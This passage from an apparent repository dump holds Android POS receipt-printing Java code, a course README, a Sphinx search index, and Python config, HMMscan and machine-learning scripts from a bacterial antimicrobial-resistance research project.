orderSummaryData.getOrderMemberRecordMoney(), arr); printNoZero("็พŽๅ›ข็‚น่ฏ„(่ฎฐๅฝ•):", orderSummaryData.getOrderMtdpRecordMoney(), arr); printNoZero("ไปฃ้‡‘ๅˆธๆ”ฏไป˜(่ฎฐๅฝ•):", orderSummaryData.getOrderVoucherRecordMoney(), arr); printNoZero("ๆŒ‚่ดฆๆœˆ็ป“(่ฎฐๅฝ•):", orderSummaryData.getOrderMonthlyRecordMoney(), arr); printNoZero("ๅ…่ดน่ต ้€(่ฎฐๅฝ•):", orderSummaryData.getOrderFreeRecordMoney(), arr); printNoZero("้“ถ่”ๅˆทๅก(่ฎฐๅฝ•):", orderSummaryData.getOrderUnionpayCardRecordMoney(), arr); printNoZero(getStr(R.string.clear_record) + " : ", orderSummaryData.getOrderClearTotalMoney(), arr); printNoZero(getStr(R.string.reduction_record) + " : ", orderSummaryData.getOrderReductionSpecialMoney(), arr); printNoZero(getStr(R.string.discount_record) + " : ", orderSummaryData.getOrderDiscountSpecialMoney(), arr); printNoZero("ๅฃ็ข‘ๅ•ๅ“ๅˆธไผ˜ๆƒ : ", orderSummaryData.getOrderKoubeiSpecialMoney(), arr); printNoZero("ไผšๅ‘˜ๅกไผ˜ๆƒ : ", orderSummaryData.getOrderMembershipDiscount(), arr); arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "")); } if (selectedWay.contains("1")) {//่‡ช็”ฑๆ”ถ้“ถ arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "่‡ช็”ฑๆ”ถ้“ถ")); arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "่ฎขๅ•ๆ€ปไปฝๆ•ฐ:" + orderSummaryData .getFreeCashTotalNumber())); arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "่ฎขๅ•ๅทฒๆ”ฏไป˜ไปฝๆ•ฐ:" + orderSummaryData .getFreePaidNumber())); arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "่ฎขๅ•ๆœชๆ”ฏไป˜ไปฝๆ•ฐ:" + orderSummaryData .getFreeUnpaidNumber())); arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "่ฎขๅ•ๆ€ป้‡‘้ข:" + orderSummaryData .getFreeCashTotalMoney())); arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "่ฎขๅ•ๅทฒไป˜้‡‘้ข:" + orderSummaryData .getFreeCashPaidMoney())); arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "่ฎขๅ•ๆœชไป˜้‡‘้ข:" + orderSummaryData .getFreeCashUnpaidMoney())); printNoZero("ๅพฎไฟกๆ”ฏไป˜:", orderSummaryData.getFreeCashWeChatMoney(), arr); printNoZero("ๆ”ฏไป˜ๅฎๆ”ฏไป˜:", orderSummaryData.getFreeCashAliMoney(), arr); printNoZero("POSๆœบๆ‰ซ็ ๆ”ฏไป˜:", orderSummaryData.getFreePostMoney(), arr); printNoZero("็Žฐ้‡‘ๆ”ฏไป˜:", orderSummaryData.getFreeCashCashMoney(), arr); printNoZero("ๅˆทๅกๆ”ฏไป˜:", orderSummaryData.getFreeCashCardMoney(), arr); printNoZero(getStr(R.string.reduction_record) + " : ", orderSummaryData.getFreeReductionSpecialMoney(), arr); printNoZero(getStr(R.string.discount_record) + " : ", orderSummaryData.getFreeDiscountSpecialMoney(), arr); arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "")); } if (selectedWay.contains("2")) {//ๅฎš้ขๆ”ถ้“ถ arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "ๅฎš้ขๆ”ถ้“ถ")); arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "่ฎขๅ•ๆ€ปไปฝๆ•ฐ:" + orderSummaryData .getQuotaTotalNumber())); arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "่ฎขๅ•ๅทฒๆ”ฏไป˜ไปฝๆ•ฐ:" + orderSummaryData .getQuotaPaidNumber())); arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "่ฎขๅ•ๆœชๆ”ฏไป˜ไปฝๆ•ฐ:" + orderSummaryData .getQuotaUnpaidNumber())); arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "่ฎขๅ•ๆ€ป้‡‘้ข:" + orderSummaryData .getQuotaTotalMoney())); arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "่ฎขๅ•ๅทฒไป˜้‡‘้ข:" + orderSummaryData .getQuotaPaidMoney())); arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "่ฎขๅ•ๆœชไป˜้‡‘้ข:" + orderSummaryData .getQuotaUnpaidMoney())); printNoZero("ๅพฎไฟกๆ”ฏไป˜:", orderSummaryData.getQuotaWeChatMoney(), arr); printNoZero("ๆ”ฏไป˜ๅฎๆ”ฏไป˜:", orderSummaryData.getQuotaAliMoney(), arr); printNoZero("POSๆœบๆ‰ซ็ ๆ”ฏไป˜:", orderSummaryData.getQuotaPostMoney(), arr); printNoZero("ๅˆทๅกๆ”ฏไป˜:", orderSummaryData.getQuotaCardMoney(), arr); printNoZero("็Žฐ้‡‘ๆ”ฏไป˜:", orderSummaryData.getQuotaCashMoney(), arr); arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "")); } } catch (JSONException e) { e.printStackTrace(); } } /** * ๆ‰“ๅฐๅ€ผไธไธบ0็š„้กน * * @param head * @param value */ private void printNoZero(String head, double value, JSONArray arr) throws JSONException { if (0 != value) { arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", head + value)); } } } ``` LianDiA8PayManager.java ```package com.yunjiangzhe.wangwang.printer.a8; import android.app.Activity; import android.util.Log; import com.yunjiangzhe.wangwang.bean.PostGetInfoEntity; import com.yunjiangzhe.wangwang.match.IPayManager; public class LianDiA8PayManager implements IPayManager { private final String wxPay_sao = "ๅพฎไฟกๆ‰ซ็ ๆ”ฏไป˜"; private final String alPay_sao = "ๆ”ฏไป˜ๅฎๆ‰ซ็ ๆ”ฏไป˜"; private final String wxPay_qr = "ๅพฎไฟกไบŒ็ปด็ ๆ”ฏไป˜"; private final String alPay_qr = "ๆ”ฏไป˜ๅฎไบŒ็ปด็ ๆ”ฏไป˜"; private final String cardPay = "ๅˆทๅกๆ”ฏไป˜"; public final static int REQUEST_CODE = 10;//็พŽๅ›ขๆ”ฏไป˜Activity่ฟ”ๅ›ž็  /** * ็พŽๅ›ขๆœบ่ฏ†ๅˆซ็  ๆ”ฏไป˜ๅฎ */ private final int ERP_PAY_TYPE_ALI = 1; /** * ็พŽๅ›ขๆœบ่ฏ†ๅˆซ็  ๅพฎไฟก */ private final int ERP_PAY_TYPE_WEIXIN = 2; /** * ็พŽๅ›ขๆœบ่ฏ†ๅˆซ็  ้“ถ่กŒๅก */ private final int ERP_PAY_TYPE_BANK = 3; /** * ็พŽๅ›ขๆœบ่ฏ†ๅˆซ็  apple pay */ private final int ERP_PAY_TYPE_APPLE = 4; private int payWay = 0; @Override public void smartPay(Activity context, String payType, PostGetInfoEntity data) { // switch (payType) // { // case cardPay: // payWay = ERP_PAY_TYPE_BANK; // break; // case alPay_qr: // case wxPay_qr: // break; // case alPay_sao: // payWay = ERP_PAY_TYPE_ALI; // break; // case wxPay_sao: // payWay = ERP_PAY_TYPE_WEIXIN; // break; // } Log.e("yza","่”่ฟชa8ๆ”ฏไป˜"); } @Override public void payCallBack(Activity context, String callBackData) { } } ```
yvanLuzin/CS106B-Sections
yvanLuzin/CS106B-Sections README.md ```# CS106B-Sections Section solutions for Stanford CS106B Winter 2018 offering ```
yvanlucas/magitics
yvanlucas/magitics searchindex.js ```Search.setIndex({docnames:["api/data","api/index","api/learning","api/main","docs/index","docs/main","index"],envversion:{"sphinx.domains.c":2,"sphinx.domains.changeset":1,"sphinx.domains.citation":1,"sphinx.domains.cpp":3,"sphinx.domains.index":1,"sphinx.domains.javascript":2,"sphinx.domains.math":2,"sphinx.domains.python":2,"sphinx.domains.rst":2,"sphinx.domains.std":1,sphinx:56},filenames:["api/data.rst","api/index.rst","api/learning.rst","api/main.rst","docs/index.rst","docs/main.rst","index.rst"],objects:{"":{main:[3,0,0,"-"]},"data.Kmer_parser":{count_kmers_dsk:[0,1,1,""],count_kmers_gerbil:[0,1,1,""],parse_kmers_dsk:[0,1,1,""],parse_kmers_gerbil:[0,1,1,""]},"data.Kmercount_to_matrix":{clean_temp_directories:[0,1,1,""],create_sparse_coos:[0,1,1,""],extend_kmerdicts:[0,1,1,""],populate_sparse_matrix:[0,1,1,""],run:[0,1,1,""]},"data.kmer_gene_correspondance":{build_kmer_gene_dict:[0,1,1,""],extract_genes_from_seq:[0,1,1,""],extract_sequence:[0,1,1,""],get_genes_from_kmers:[0,1,1,""],get_genes_limit:[0,1,1,""],kmers_within_gene:[0,1,1,""],run:[0,1,1,""]},"data.plfam_parser":{run:[0,1,1,""]},"data.plfam_to_matrix":{fill_dic:[0,1,1,""],get_list_plfams:[0,1,1,""],run:[0,1,1,""]},"learning.Test_streaming":{adapted_accuracy:[2,1,1,""],append_prediction:[2,1,1,""],clean_temp_directories:[2,1,1,""],create_sparse_coos:[2,1,1,""],evaluate_and_write_report:[2,1,1,""],get_kmer_counts:[2,1,1,""],map_data_to_coords:[2,1,1,""],parse_and_map_kmers:[2,1,1,""],parse_kmers_dsk:[2,1,1,""],populate_sparse_matrix:[2,1,1,""],predict_pruned:[2,1,1,""],prune_boosting:[2,1,1,""],run:[2,1,1,""],write_report:[2,1,1,""]},"learning.Train_kmer_clf":{adapted_accuracy:[2,1,1,""],chi2_feature_selection:[2,1,1,""],evaluate_and_write_report:[2,1,1,""],fit:[2,1,1,""],get_accuracy_treshold:[2,1,1,""],plot_CV_heatmap:[2,1,1,""],plot_boosting_learning_curve:[2,1,1,""],predict:[2,1,1,""],preprocess_y:[2,1,1,""],run:[2,1,1,""],split_train_test:[2,1,1,""]},data:{Kmer_parser:[0,0,0,"-"],Kmercount_to_matrix:[0,0,0,"-"],kmer_gene_correspondance:[0,0,0,"-"],plfam_parser:[0,0,0,"-"],plfam_to_matrix:[0,0,0,"-"]},learning:{Test_streaming:[2,0,0,"-"],Train_kmer_clf:[2,0,0,"-"]},main:{create_geneIDsDF:[3,1,1,""],create_sparseDB:[3,1,1,""],train_test_model_batch:[3,1,1,""],train_test_model_stream:[3,1,1,""]}},objnames:{"0":["py","module","Python module"],"1":["py","function","Python function"]},objtypes:{"0":"py:module","1":"py:function"},terms:{"class":[0,2],"function":[1,6],"import":[2,4,5],"new":[2,4,5],"return":[0,2],"true":[4,5],For:0,Use:0,accord:2,accuraci:2,ada:[4,5],adapt:2,adapted_accuraci:2,adat:2,adding:[],all:[0,4,5],allow:0,also:2,amr:[0,4,5],antimicrobi:[4,5],api:6,appear:0,append:2,append_predict:2,architectur:[],argument:[4,5],arrai:2,assembl:0,associ:0,base:[1,6],batch:[1,3,6],batchnumb:2,batchsiz:[2,4,5],befor:[4,5],best:2,binari:2,boost:2,bordeaux:[],build_kmer_gene_dict:0,calcul:2,call:[0,2],can:[0,4,5],cbib:[],chang:[],changefna2fa:[],chi2_feature_select:2,chosen:2,classifi:[2,4,5],clean_temp_directori:[0,2],clf:[4,5],clone:[4,5],col:[0,2],com:[0,4,5],command:[0,2],comput:2,config:[4,5],configur:[4,5],consid:0,consum:[4,5],contact:[4,5],contain:[0,2],content:[],contig:0,coo_matrix:[4,5],coordin:[0,2],correct:2,correl:2,correspond:[1,2,6],count:[1,2,3,6],count_kmers_dsk:0,count_kmers_gerbil:0,counter:2,creat:[0,2,3],create_geneidsdf:3,create_sparse_coo:[0,2],create_sparsedb:3,cross:2,csr:0,current:2,curv:2,cv_clf:[4,5],data:[0,2,4,5],datafram:[0,3],dataload:[1,6],dataset:[1,6],delet:[0,2],depth:2,devianc:2,dic:0,dic_data:0,dic_df:0,dic_gen:0,dic_kmer_gen:0,dic_limit:0,dicdata:0,dict:[0,2],dictionari:[0,2],dictionnari:0,directori:[],dirnam:[],dirnamein:[],dirnameout:[],discard:2,dna:[0,4,5],dsk:[0,2],dure:[0,2],each:0,effici:[4,5],evalu:[2,4,5],evaluate_and_write_report:2,exampl:[4,5],exist:2,extend:2,extend_kmerdict:0,extens:[],extract:0,extract_genes_from_seq:0,extract_sequ:0,fals:[2,4,5],fasta:[0,2,4,5],fastanam:2,featur:[0,2,4,5],file:[0,2,4,5],filenam:[],fill:[0,2],fill_dic:0,fit:2,fna:[],follow:[],form:[0,4,5],format:[4,5],framework:[],from:[0,2,4,5],gatb:0,gather:0,gene:[1,3,4,5,6],gener:[0,2],geneseq1:0,geneseq2:0,geneseq:0,genom:0,gerbil:0,get:0,get_accuracy_treshold:2,get_genes_from_km:0,get_genes_limit:0,get_kmer_count:2,get_list_plfam:0,git:[4,5],github:[0,4,5,6],given:0,gradient:[4,5],gridsearch:2,gridsearchcv:2,groud:[],ground:2,hall:0,heatmap:2,http:[0,4,5],identifi:[0,4,5],imported_memb:[],index:[2,6],indic:2,individu:0,inform:0,inherit:2,initi:0,input:[2,4,5],instal:[4,5],intermedi:[0,2],iter:[0,2],keep:2,kei:0,kmer1:[0,2],kmer2:[0,2],kmer:[1,2,3,4,5,6],kmer_count:[0,2],kmer_gene_correspond:0,kmer_pars:0,kmer_to_index:[4,5],kmercount:[0,2],kmercount_to_matrix:[0,4,5],kmercountfil:2,kmerdict:0,kmerextractionandcount:0,kmers_count:2,kmers_pars:0,kmers_within_gen:0,kmerscount2datafram:0,kover:[],label:2,label_in_nam:[],learn:[1,4,5,6],learner:[4,5],least:2,len:0,len_kmer:0,leverag:[4,5],limit1:0,limit2:0,limit:0,line:[0,2],list:[0,2],ls_index:2,ls_kmer:0,ls_plfam:0,luca:[4,5],machin:[4,5],magit:5,magitics_project:[4,5],mai:0,main:[1,6],map:2,map_data_to_coord:2,matric:2,matrix:[1,2,3,4,5,6],mer:[4,5],merg:0,metadata:[],method:[0,2],metric:2,mode:[1,4,5,6],model:[2,4,5],modul:6,more:[4,5],move:[],must:[4,5],n_estim:2,name:[],need:[],none:2,numcontig:0,numpi:[2,4,5],object:0,obtain:2,onc:[4,5],one:[2,4,5],onli:2,optim:2,option:2,optionn:2,optionnali:2,order:0,other:[],output:[4,5],over:[0,2],packag:[4,5],page:6,pairwis:0,panda:[0,4,5],param:[0,2],paramet:[0,2],pars:[0,2,4,5],parse_and_map_km:2,parse_kmers_dsk:[0,2],parse_kmers_gerbil:0,parser:[0,2,4,5],pass:[4,5],path:[0,2,4,5],pathtofil:0,pathtokmercountfil:2,patric:0,per:[],pgfam1:0,pgfam2:0,pgfam:0,pickl:[4,5],plfam1:0,plfam2:0,plfam:0,plfam_pars:0,plfam_to_matrix:0,plot:2,plot_boosting_learning_curv:2,plot_cv_heatmap:2,populate_sparse_matrix:[0,2],potenti:[4,5],pre:2,precis:[4,5],predict:[0,2,4,5],predict_prun:2,preprocess_i:2,process:[4,5],project:[4,5],prune:2,prune_boost:2,python3:[4,5],ram:[4,5],readm:6,redund:[0,2],refactor:2,refer:6,refin:2,renam:[],repo:6,report:[2,4,5],requir:[4,5],research:[4,5],resist:[4,5],respect:2,result:0,retain:2,row:[0,2],run:[0,2,4,5],save:2,scikit:[4,5],scipi:[0,4,5],scm:[4,5],score:[2,4,5],search:6,self:[0,2],seq1:0,seq2:0,sequenc:[0,4,5],set:2,sever:2,sheet:0,sinc:0,softwar:[0,2],some:0,sometim:0,spars:[0,2,3,4,5],sparse_csr:0,specifi:[4,5],split:2,split_train_test:2,start:[4,5],store:[],strain1:0,strain:[0,4,5],strain_a:0,strain_b:0,strain_c:0,strainid:0,stream:[1,3,4,5,6],suscept:[],tab:0,target:[0,2],tensorflow:[4,5],test:[1,3,4,5,6],test_stream:[2,4,5],tester:[4,5],thei:0,them:2,thi:0,through:0,train:[1,3,6],train_kmer_clf:[2,4,5],train_test_model_batch:3,train_test_model_stream:3,transform:2,tre:2,tree:2,treshold:2,truth:2,twice:0,two:2,type:[0,2],understand:0,uni:0,uniqu:0,univers:[],usag:[4,5],use:[2,4,5],used:[0,2],useful:[],using:[0,2,4,5],util:[],valid:2,valu:[0,2],variabl:2,vector:2,veri:2,version:2,vlaue:[],want:[4,5],were:[0,2],when:[],where:[],which:0,work:[],wrap:[0,2],write:2,write_kover_metadata_fil:[],write_report:2,x_test:2,x_train:2,y_pred:[2,4,5],y_predict:2,y_prune:[2,4,5],y_test:[2,4,5],y_train:2,y_true:[4,5],you:[4,5],your:[4,5],yvan:[4,5],yvanluca:[4,5]},titles:["Dataset &amp; DataLoaders","API Reference","Learning","Main functions","MAGITICS Readme","&lt;no title&gt;","Welcome to MAGITICS documentation!"],titleterms:{"function":3,api:1,base:0,batch:2,bordeaux:[],cbib:[],clone:[],configur:[],contact:[],content:[],correspond:0,count:0,dataload:0,dataset:0,document:6,format:[],gene:0,get:[],home:6,indic:6,input:[],instal:[],kmer:0,learn:2,magit:[4,6],main:3,matrix:0,mode:2,output:[],pars:[],path:[],project:6,readm:4,refer:1,requir:[],sphinx:[],start:[],stream:2,tabl:6,test:2,train:2,univers:[],usag:[],welcom:6}})``` config.py ```import argparse # PATHs id='8' xp_name = 'strept_pneumo_31' #xp_name = 'esche_amox_31' #xp_name='acineto_imip_20' mode='serv' #can be ['local', 'serv', 'laptop'] dtype='sparse' #can be ['df','sparse'] if mode == 'serv': pathtoxp = '/mnt/cbib/MAGITICS_Yvan/experiments_kmer_count/' pathtodata='/scratch/MAGITICS_data/' # testdir='Pseudomonas_aeruginosa/levofloxacin/test/test' # testdir='Escherichia_coli/test/test' # data='Escherichia_coli/traindata/' # data = 'Pseudomonas_aeruginosa/levofloxacin/traindata/' data = 'Streptococcus_pneumoniae/datajie/' testdir = 'Streptococcus_pneumoniae/testjie/' #data='Acinetobacter_baumanii/traindata/' #testdir='Acinetobacter_baumanii/test/test/' elif mode == 'local': pathtoxp = '/home/ylucas/toydata_pseudomonas_levofloxacin/' pathtodata='/home/ylucas/toydata_pseudomonas_levofloxacin/' data='traindatabis' testdir='test/test' elif mode == 'laptop': pathtoxp='/home/ylucas/Bureau/expe_postdoc/xp' pathtodata='/home/ylucas/Bureau/expe_postdoc/data_postdoc/' data= '' testdir='test' # Kmer extraction parameters kmer_count = 1 # 1: kmer count, 0: presence/absence len_kmers = 20 MIC=True min_abundance = 3 #not used atm kmer_count=1 #1: kmer count, 0: presence/absence len_kmers=20 # Learning parameters model = 'gradient' # can be ['rf','SCM', 'gradient', 'Ada'] rf_grid = {'max_features': ['sqrt', 'log2'], 'max_depth': [4, 8]} SCM_grid = {'p': [1, 10], 'max_rules': [1, 3 ,10], 'model_type':['conjunction','disjunction']} gradient_grid = {'max_depth': [1, 2, 4], 'n_estimators': [10, 6,4, 2] } ada_grid = {'n_estimators': [ 5, 10, 20]} pruning_tresh=0.9 def get_lenkmers(): parser=argparse.ArgumentParser() parser.add_argument('--len_kmers', type=int, default=31) arg=parser.parse_args() return arg.len_kmers len_kmers= 20 #int(get_lenkmers()) id='MICkmers20penicillin'#+str(int(get_lenkmers())) ``` HMMscores.py ```#TODO: # For each strain: # 1) Gather PLFAM ids and corresponding nuc sequence # 2) HMMscan each locus against the corresponding HMM flatfile # 3) get bitscore (susceptible - resistant) or only the one existings # 4) put bitscore into a dic for each strain: strain: {plfam1:score1, ...} # 5) Create dataframe # old data path '../toy_dataset/susceptible' # new data path '/scratch/MAGITICS_data/Pseudomonas_aeruginosa/levofloxacin/data/test/susceptible' datapath= '/scratch/MAGITICS_data/Pseudomonas_aeruginosa/levofloxacin/data/test/susceptible' import pandas as pd import os, sys import numpy as np #TODO 1) Gather PLFAM ids and corresponding nuc sequence import trainHMMs as trainHMM gene_fam=trainHMM.gene_family_file() gene_fam.run(pathtofolder='../toy_dataset/susceptible') #TODO change path accordingly to parse susceptible and resistant data folders ####################################################################################### # 2) HMMscan each locus against the corresponding HMM flatfile #/ !\ Comment all the other line from HMMscores.py before running the script hmmscore.sh import argparse def get_strainname(): """ get the strainname from the execution of the bash script hmmscore.sh """ parser=argparse.ArgumentParser() parser.add_argument('--strainname', type=str, default='31') arg=parser.parse_args() return arg.strainname def hmm_scan_each_strain(strainname): """ Open the plfams Args: strainname: Returns: """ pathtostrain=os.path.join('../toy_dataset/susceptible', strainname) #TODO: change path ls_plfam=os.listdir(pathtostrain) pathtoflatfiles=os.path.join('../toy_dataset/susceptible') #TODO: change path for plfam in ls_plfam: pathtoscan=os.path.join(pathtostrain,'hmmscan', plfam) cmd="hmmscan --tblout %s.txt --cpu 1 %s %s" %( pathtoscan, os.path.join(pathtoflatfiles, plfam, plfam), os.path.join(pathtostrain, plfam)) #TODO ^ change path of nuc sequence to scan os.system(cmd) #FOR EACH STRAINNAME strainname=get_strainname() hmm_scan_each_strain(strainname) # 3) Get Scores and label from HMMscan output from Bio import SearchIO from collections import defaultdict import pickle class hmmscan_to_pandas(object): def __init__(self): return def parse_file(self, path): attribs = ['query_id', 'bitscore', 'evalue', 'id'] hits = defaultdict(list) with open(path) as handle: for queryresult in SearchIO.parse(handle, 'hmmer3-tab'): #print(queryresult.id) #print(queryresult.accession) #print(queryresult.description) for hit in queryresult.hits: for attrib in attribs: hits[attrib].append(getattr(hit, attrib)) df=pd.DataFrame.from_dict(hits) return df def get_score_values(self, df): grouped = df.groupby('query_id') uniques = df['query_id'].unique() dic={} for locus_id in uniques: group = grouped.get_group(locus_id) ls_id = [] ls_score = [] try: ls_score.append(group.iloc[0, 1]) ls_score.append(group.iloc[1,1]) ls_id.append(group.iloc[0,3]) ls_id.append(group.iloc[1,3]) score, plf=self.calculate_score(ls_score, ls_id) dic[plf]=score except: a = 1 return dic def get_label(self, strainID): label='susceptible' #TODO: change by hand or automate it def calculate_score(self, ls_score, ls_id): if ls_id[0][:4]=='susc': score=ls_score[0]-ls_score[1] plf=ls_id[1][10:] elif ls_id[0][:4]=='resi': score=np.float64(ls_score[1])-np.float64(ls_score[0]) plf=ls_id[0][10:] return score, plf def run(self, strainID): df_annotations=self.parse_file(os.path.join('../toy_dataset/susceptible',strainID,'hmmscan')) #TODO: change path dic=self.get_score_values(df_annotations) dic['label']=self.get_label(strainID) with open(os.path.join('../toy_dataset/susceptible', strainID, 'dic_scores.pkl'), "w") as f: #TODO: change path pickle.dump(dic, f) #FOR EACH STRAINNAME hmmscanparse=hmmscan_to_pandas() hmmscanparse.run(strainname) #4 Load all dics and append them in a pandas dataframe class create_df_from_hmmscandict(object): def __init__(self): return def run(self, datadir): ls_dicts=[] ls_dir=['resistant','susceptible'] for dir in ls_dir: dirpath=os.path.join(datadir, dir) ls_straindir=os.listdir(dirpath) for straindir in ls_straindir: print(straindir) if os.path.isdir(os.path.join(dirpath, straindir)): print(straindir) with open(os.path.join(dirpath, straindir, 'dic_scores.pkl'), "rb") as f: # TODO: change path dic = pickle.load(f) ls_dicts.append(dic) df=pd.DataFrame(ls_dicts) print(df['label']) df.to_csv(os.path.join(datadir, 'df.csv')) with open(os.path.join(datadir, 'dicts.pkl'), "wb") as f: #TODO: change path pickle.dump(ls_dicts, f) create_df=create_df_from_hmmscandict() create_df.run('../toy_dataset_susceptible') """ #!/bin/bash #SBATCH --job-name=hmm_profile #SBATCH --nodes=1 #SBATCH --mem=60gb #SBATCH --ntasks-per-node=12 #SBATCH --array=1 module load hmmer hmmscan --tblout PATRIC_scan_out.txt --cpu 10 hmm_database_flatfile 287999_new/PROKKA_12082020.ffn """``` run.sh ```#!/bin/bash #SBATCH --job-name=MAGITICS_kmers #SBATCH --nodes=1 #SBATCH --mem=60gb #SBATCH --ntasks-per-node=5 #SBATCH --array=10 module load miniconda module load dsk conda activate /home/ylucas/.conda/env/python3_yvan/ pip3 install xlrd python3 -u magitics/main.py --len_kmers $SLURM_ARRAY_TASK_ID > run.txt ``` Code_entretien.py ```import pandas as pd import pandas_profiling datapath='/home/ylucas/PycharmProjects/MAGITICS/toy_dataset/df_test.csv' df=pd.read_csv(datapath) ``` learning.py ```import os import pickle import matplotlib.pyplot as plt import numpy as np import pandas as pd import tensorflow as tf import scipy.sparse as sp import seaborn as sns from sklearn import (ensemble, tree, feature_selection, metrics, model_selection, preprocessing) import config as cfg import numpy as np import pandas as pd #datadir='/home/ylucas/PycharmProjects/MAGITICS/toy_dataset/df.csv' datadir='/home/ylucas/PycharmProjects/MAGITICS/toy_dataset/df.csv' datatest='/home/ylucas/PycharmProjects/MAGITICS/toy_dataset/df_test.csv' def match_cols(dfa, dfb): """ Match the columns of two dataframes that may present different columns (i.e. different plfams) Args: dfa: dataframe1 dfb: dataframe2 Returns: dfa, dfb """ colsa=dfa.columns colsb=dfb.columns ls_del=[] for col in colsa: if col not in colsb: ls_del.append(col) for col in colsb: if col not in colsa: ls_del.append(col) for col in ls_del: try: dfa.drop([col], axis=1, inplace=True) except Exception as e: a=0 try: dfb.drop([col], axis=1, inplace=True) except Exception as e: a=0 cols=dfa.columns dfb=dfb[cols] return dfa, dfb def load_and_split(): """ Load train and test set, match columns and return them along with a binary version Returns: df, df_test, y_train, y_test, df_bin,df_test_bin """ df = pd.read_csv(datadir) df_test=pd.read_csv(datatest) df_test=df_test.fillna(0) df_test.drop(['Unnamed: 0'], axis=1, inplace=True) #df.dropna(axis=1, thresh=int(np.floor(len(df)*7/10)), inplace=True) df=df.fillna(0) df.drop(['Unnamed: 0'], axis=1, inplace=True) #df.drop(df.std()[df.std() < 0.2].index.values, axis=1, inplace=True) df, df_test=match_cols(df, df_test) #X_train, X_test, y_train, y_test = model_selection.train_test_split(df , df['label'], test_size=0.25,random_state=42) y_train=df['label'] y_test=df_test['label'] df.drop(['label'],axis=1, inplace=True) df_bin=df.copy(deep=True) df_bin[df_bin!=0]=1 df_test.drop(['label'], axis=1,inplace=True) df_test_bin=df_test.copy(deep=True) df_test_bin[df_test_bin!=0]=1 return df, df_test, y_train, y_test, df_bin,df_test_bin def le_target(y_train, y_test): """ Label encode the target columns so that it is scikit learn compliant Args: y_train: train target column y_test: test target column Returns: y_train, y_test """ le = preprocessing.LabelEncoder() y_train = le.fit_transform(y_train) y_test=le.transform(y_test) return y_train, y_test def create_nn(arr): """ Create and return a neural network model using a list of characteristics as input example: model=create_nn([len(X_train.columns),100,100,1]) Args: arr: list of characteristics (example: [len(X_train.columns),100,100,1] ) Returns: model (keras object) """ model=tf.keras.models.Sequential() for i in range(len(arr)): if i!=0 and i!=len(arr)-1: if i==1: model.add(tf.keras.layers.Dense(arr[i],input_dim=arr[0],kernel_initializer='normal', activation='relu')) else: model.add(tf.keras.layers.Dense(arr[i],activation='relu')) model.add(tf.keras.layers.Dense(arr[-1],kernel_initializer='normal',activation="sigmoid")) model.compile(loss="binary_crossentropy",optimizer='rmsprop',metrics=['accuracy']) return model def plot_boosting_learning_curve(X_test, y_test, model): """ Plot boosting learning curve (test/train deviance = f (n_estimator) ) Args: X_test: input data matrix y_test: ground truth vector model: boosting model object (scikitlearn) """ test_score = np.zeros((200,), dtype=np.float64) for i, y_pred in enumerate(model.staged_predict(X_test)): test_score[i] = model.loss_(y_test, y_pred) sns.set() fig = plt.figure(figsize=(6, 6)) plt.subplot(1, 1, 1) #plt.title(cfg.xp_name + " // ROC AUC = " + str(self.score)) plt.plot(np.arange(200) + 1, model.train_score_, "b-", label="Training Set Deviance") plt.plot(np.arange(200) + 1, test_score, "r-", label="Test Set Deviance") plt.legend(loc="upper right") plt.xlabel("Boosting Iterations") plt.ylabel("Deviance") fig.tight_layout() def get_n_best_correlated(k=400): """ Returns the list of k most correlated features of the dataframe df with the target and their correlation value Args: k: Returns: list of most correlated feature, dataframe """ df = pd.read_csv(datadir) df = df.fillna(0) df['label'] = df['label'].astype('category').cat.codes df[df != 0] = 1 ls_corr = df[df.columns].corr()['label'][:] ls_corr = ls_corr.abs() ls_max = ls_corr.nlargest(n=k) return ls_max, df def plot_ROC(y_true, y_pred, y_pred_bin): """ Plot ROC curves for pred_scores and pred_binary Args: y_true: true label y_pred: prediction using HMM scores y_pred_bin: prediction using binary features (presence/absence of PLFAMs) """ fpr, tpr, tr = metrics.roc_curve(y_true, y_pred) auc=metrics.auc(fpr, tpr) fpr_bin, tpr_bin, tr=metrics.roc_curve(y_true, y_pred_bin) auc_bin=metrics.auc(fpr_bin, tpr_bin) plt.figure() plt.plot(fpr, tpr, color='blue', label='Score prediction (AUC = %0.2f)'%auc) plt.plot(fpr_bin, tpr_bin, color='red', label='Binary prediction (AUC = %0.2f)'%auc_bin) plt.xlabel('False Positive Rate') plt.ylabel('True Positive Rate') plt.title('Boosting ROC curve') plt.legend(loc="lower right") def plot_PR(y_true, y_pred): """ Plot Precision-Recall curves for pred_scores and pred_binary Args: y_true: true label y_pred: prediction using HMM scores y_pred_bin: prediction using binary features (presence/absence of PLFAMs) """ pr, rec, tr = metrics.precision_recall_curve(y_true, y_pred) #auc=metrics.auc(pr, rec) auc=0 #pr_bin, rec_bin, tr=metrics.precision_recall_curve(y_true, y_pred_bin) #auc_bin=metrics.auc(pr_bin, rec_bin) auc_bin=0 plt.figure() plt.plot(rec, pr, color='blue', label='Score prediction' ) #plt.plot(rec_bin, pr_bin, color='red', label='Binary prediction') plt.xlabel('Recall') plt.ylabel('Precision') plt.title('Boosting PR curve') plt.legend(loc="upper right") def grid_search_boosting(model): import ray from ray.tune.sklearn import TuneGridSearchCV parameters = 